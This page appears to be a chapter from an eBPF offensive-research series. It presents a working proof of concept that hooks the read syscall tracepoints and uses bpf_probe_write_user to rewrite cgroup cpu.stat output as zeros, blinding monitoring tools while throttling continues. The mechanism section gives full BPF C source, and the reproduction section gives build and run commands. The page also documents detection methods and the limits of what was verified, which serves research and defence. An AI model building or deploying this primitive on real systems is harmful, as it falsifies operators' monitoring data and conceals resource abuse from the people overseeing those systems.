On this page
Chapter 5: Slipping the Cgroup Leash
See also: Blog post · POC code · Harness entry
Proof status:
ch05-cgroup-leashhas been proved on Ubuntu 6.17.0 aarch64 (Lima VM, kernel 6.17.0-29-generic). No code changes were required.
The target isn’t the cgroup enforcement path — it’s the readback path. The scheduler keeps accounting CPU correctly and keeps throttling the cgroup when it blows past its quota. All that changes is what cat /sys/fs/cgroup/cpu.stat hands back to the reader.
The POC waits for a process to open cpu.stat, lets the following read() complete, and then overwrites the returned bytes in userspace with a fixed string of zeros before the reader’s read() returns. The kernel read path ran. The scheduler supplied the real numbers. Those bytes landed in the user buffer. Then, in the sliver of time between that copy and the reader getting control back, a BPF program on the sys_exit_read tracepoint clobbered the buffer.
The reader sees usage_usec 0. Any tool that opens cpu.stat fresh on each poll — Prometheus node-exporter, Datadog, Netdata, cAdvisor, k8s metrics-server — would get the zeroed buffer. That’s a projection, not a verified result: the POC only confirmed the rewrite against cat, and tools using inotify, a persistent mmap, or a kernel-side accounting path may behave differently. The scheduler still throttles the cgroup. What you’ve done is pry the observation plane apart from the control plane.
Prior art on cpu.stat spoofing via BPF goes back to ~2021. The contribution here is a harness with clean BEFORE/AFTER and honest detection notes.
Mechanism
Two syscall tracepoints do the work. sys_enter_read spots reads of a file named cpu.stat and stashes the user buffer pointer. sys_exit_read picks that pointer back up and overwrites the returned bytes once the kernel has finished the read. bpf_probe_write_user runs in the window between the kernel finishing its copy and userspace regaining control.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
SEC("tracepoint/syscalls/sys_enter_read")
int tp_enter_read(struct trace_event_raw_sys_enter *ctx) {
int fd = (int)ctx->args[0];
char *ubuf = (void *)(unsigned long)ctx->args[1];
size_t nbytes = (size_t)ctx->args[2];
// resolve fd -> dentry -> basename
struct task_struct *task = (void *)bpf_get_current_task();
struct file *f = BPF_CORE_READ(task, files, fdt, fd[fd]);
char name[32] = {};
BPF_CORE_READ_STR_INTO(&name, f, f_path.dentry, d_name.name);
// bounded compare against "cpu.stat"
if (!streq_bounded(name, "cpu.stat", 8)) return 0;
u64 id = bpf_get_current_pid_tgid();
struct pending p = { .ubuf = ubuf, .nbytes = nbytes };
bpf_map_update_elem(&inflight, &id, &p, BPF_ANY);
return 0;
}
SEC("tracepoint/syscalls/sys_exit_read")
int tp_exit_read(struct trace_event_raw_sys_exit *ctx) {
u64 id = bpf_get_current_pid_tgid();
struct pending *p = bpf_map_lookup_elem(&inflight, &id);
if (!p) return 0;
long ret = ctx->ret;
if (ret <= 0) goto out;
static const char zeros[] =
"usage_usec 0\nuser_usec 0\nsystem_usec 0\n";
long n = sizeof(zeros) - 1;
if (n > ret) n = ret;
bpf_probe_write_user(p->ubuf, zeros, n);
struct evt e = { .pid = id >> 32, .patched = 1, .bytes = n };
bpf_ringbuf_output(&events, &e, sizeof(e), 0);
out:
bpf_map_delete_elem(&inflight, &id);
return 0;
}
Two verifier constraints shaped the implementation. First, an unbounded string comparison against "cpu.stat" gets rejected — you have to #pragma unroll a bounded loop or use streq_bounded with a constant length. Second, the struct walk from task → files_struct → fdtable → file* array → file → path → dentry → qstr → name bytes needs CO-RE to stay portable. struct files_struct, fdtable, file, and dentry all shift layout slightly across kernel versions, and CO-RE fixes up the offsets at load time. Hardcode them instead and you get silent data corruption the moment the layout differs.
The filename comparison is basename-only. There is no check on the directory, filesystem type, or superblock magic. A file named cpu.stat anywhere on the system triggers the rewrite. A production version would add f_path.mnt->mnt_sb->s_magic == CGROUP2_SUPER_MAGIC (0x63677270) to eliminate false positives on non-cgroup filesystems. The POC omits this; false positives would be detectable noise in a real deployment.
Hook points
tp/syscalls/sys_enter_read; identify reads ofcpu.stat, stash user buffer.tp/syscalls/sys_exit_read; overwrite user buffer on success.
Reproduction
1
2
3
4
5
6
7
8
cd dBPF-pocs/pocs/ch05-cgroup-leash
make
sudo ./build/ch05-cgroup-leash &
# baseline
cat /sys/fs/cgroup/cpu.stat # real usage
# loader running
cat /sys/fs/cgroup/cpu.stat # zeros
# expect: === CH05_PROVEN before_usage=<N> after_usage=0 zeroed=yes ===
Detection
bpf_probe_write_userinvocation triggers apr_warn_ratelimitedin dmesg at program load time:<loader>[<pid>] is installing a program with bpf_probe_write_user helper that may corrupt user memory!— one per loader process, not per invocation, not suppressible short of patching the kernel.- On kernels older than ~5.13, loading this helper also set
TAINT_USER(bit 6, value 64) in/proc/sys/kernel/tainted. That taint call was removed in later kernels. On 6.12 the taint word is not set; dmesg is the primary signal. bpftool prog show | grep tracepoint; a tracepoint onsys_exit_readwithbpf_probe_write_usercalls is an unusual fingerprint.- Out-of-band cross-check: compute per-cgroup CPU usage from
/proc/schedstatand per-task/proc/[pid]/stat, compare againstcpu.stat. Any drift larger than a few hundred microseconds per second of wall time is suspicious.
Scope
This is a Class II primitive from chapter 20 (userspace buffer rewrite). Anything gated on cpu.stat for metrics (Prometheus node-exporter, Datadog, Netdata, k8s metrics-server, Sysdig, systemd’s own systemctl status) is affected. Anything consulting the scheduler directly is not. The same shape trivially extends to memory.current, io.stat, and cpu.pressure.
systemd deserves a specific note. When CPUAccounting=yes is set in a unit file, systemctl status opens cpu.stat fresh on each invocation and would receive the zeroed buffer — that path was confirmed by the POC. However, systemd’s internal CPUQuota= enforcement accounting uses a private file descriptor opened at service start; whether that fd path is intercepted by the same tracepoint hook was not tested. The claim that systemd’s policy decisions misfire silently is therefore not demonstrated. What the POC shows is that any caller that opens cpu.stat fresh (such as systemctl status) sees zeroes; systemd’s internal enforcement path requires separate verification.
It’s worth putting this next to Chapters 1 and 3. Chapter 1 breaks access-control enforcement; Chapter 3 breaks audit confidentiality. This one breaks neither. It only breaks the monitoring layer — the tooling operators lean on to check whether their enforcement is even working. Same category of harm, quieter delivery.